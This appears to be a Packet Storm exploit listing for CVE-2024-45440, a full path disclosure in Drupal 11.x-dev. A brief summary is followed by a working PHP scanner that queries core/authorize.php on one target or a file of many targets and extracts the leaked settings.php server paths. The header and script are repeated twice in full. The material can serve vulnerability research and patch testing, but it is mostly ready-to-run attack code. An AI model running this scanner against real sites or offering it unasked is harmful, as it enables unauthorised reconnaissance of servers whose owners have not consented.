5.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Description
Proof of concept script demonstrating a full path disclosure issue in Drupal version 11.x-dev...
Basic Information
ID
PACKETSTORM:212771
Published
Dec 12, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Drupal 11.x-dev full Information Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.drupal.org/project/drupal/releases/11.x-dev |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/190573/ & CVE-2024-45440
[+] Summary :
The vulnerability exists due to improper error handling in authorize.php when the hash_salt configuration
attempts to read a non-existent file using file_get_contents(). This reveals the full server path even when error logging is disabled.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* Drupal 11.x-dev Full Path Disclosure
* CVE-2024-45440
* PHP Implementation
*/
class DrupalPathDisclosure {
private $timeout = 10;
private $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0';
public function scan_single($url) {
echo "[*] Scanning: $url\n";
if (!str_starts_with($url, 'http')) {
$url = 'http://' . $url;
}
$full_url = $url . '/core/authorize.php';
try {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $full_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_USERAGENT => $this->user_agent,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'settings.php') !== false) {
preg_match_all('/<em class="placeholder">(\/.*?settings\.php)/', $response, $matches);
if (!empty($matches[1])) {
echo "[+] Vulnerable - Paths disclosed:\n";
foreach ($matches[1] as $path) {
echo " $path\n";
}
return true;
}
}
echo "[-] Not vulnerable\n";
return false;
} catch (Exception $e) {
echo "[-] Error: " . $e->getMessage() . "\n";
return false;
}
}
public function scan_multiple($file_path) {
if (!file_exists($file_path)) {
echo "[-] File not found: $file_path\n";
return;
}
$urls = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$vulnerable = [];
echo "[*] Scanning " . count($urls) . " targets...\n";
foreach ($urls as $url) {
if ($this->scan_single($url)) {
$vulnerable[] = $url;
}
echo "\n";
}
if (!empty($vulnerable)) {
echo "[+] Summary - Vulnerable hosts:\n";
foreach ($vulnerable as $host) {
echo " $host\n";
}
} else {
echo "[-] No vulnerable hosts found\n";
}
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
$scanner = new DrupalPathDisclosure();
if ($argc < 2) {
echo "Usage:\n";
echo " php drupal_path.php <url> - Scan single target\n";
echo " php drupal_path.php -f <file> - Scan multiple targets from file\n";
echo "\nExamples:\n";
echo " php drupal_path.php example.com\n";
echo " php drupal_path.php -f targets.txt\n";
exit(1);
}
if ($argv[1] === '-f' && isset($argv[2])) {
$scanner->scan_multiple($argv[2]);
} else {
$scanner->scan_single($argv[1]);
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Drupal 11.x-dev full Information Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.drupal.org/project/drupal/releases/11.x-dev |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/190573/ & CVE-2024-45440
[+] Summary :
The vulnerability exists due to improper error handling in authorize.php when the hash_salt configuration
attempts to read a non-existent file using file_get_contents(). This reveals the full server path even when error logging is disabled.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* Drupal 11.x-dev Full Path Disclosure
* CVE-2024-45440
* PHP Implementation
*/
class DrupalPathDisclosure {
private $timeout = 10;
private $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0';
public function scan_single($url) {
echo "[*] Scanning: $url\n";
if (!str_starts_with($url, 'http')) {
$url = 'http://' . $url;
}
$full_url = $url . '/core/authorize.php';
try {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $full_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_USERAGENT => $this->user_agent,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'settings.php') !== false) {
preg_match_all('/<em class="placeholder">(\/.*?settings\.php)/', $response, $matches);
if (!empty($matches[1])) {
echo "[+] Vulnerable - Paths disclosed:\n";
foreach ($matches[1] as $path) {
echo " $path\n";
}
return true;
}
}
echo "[-] Not vulnerable\n";
return false;
} catch (Exception $e) {
echo "[-] Error: " . $e->getMessage() . "\n";
return false;
}
}
public function scan_multiple($file_path) {
if (!file_exists($file_path)) {
echo "[-] File not found: $file_path\n";
return;
}
$urls = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$vulnerable = [];
echo "[*] Scanning " . count($urls) . " targets...\n";
foreach ($urls as $url) {
if ($this->scan_single($url)) {
$vulnerable[] = $url;
}
echo "\n";
}
if (!empty($vulnerable)) {
echo "[+] Summary - Vulnerable hosts:\n";
foreach ($vulnerable as $host) {
echo " $host\n";
}
} else {
echo "[-] No vulnerable hosts found\n";
}
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
$scanner = new DrupalPathDisclosure();
if ($argc < 2) {
echo "Usage:\n";
echo " php drupal_path.php <url> - Scan single target\n";
echo " php drupal_path.php -f <file> - Scan multiple targets from file\n";
echo "\nExamples:\n";
echo " php drupal_path.php example.com\n";
echo " php drupal_path.php -f targets.txt\n";
exit(1);
}
if ($argv[1] === '-f' && isset($argv[2])) {
$scanner->scan_multiple($argv[2]);
} else {
$scanner->scan_single($argv[1]);
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================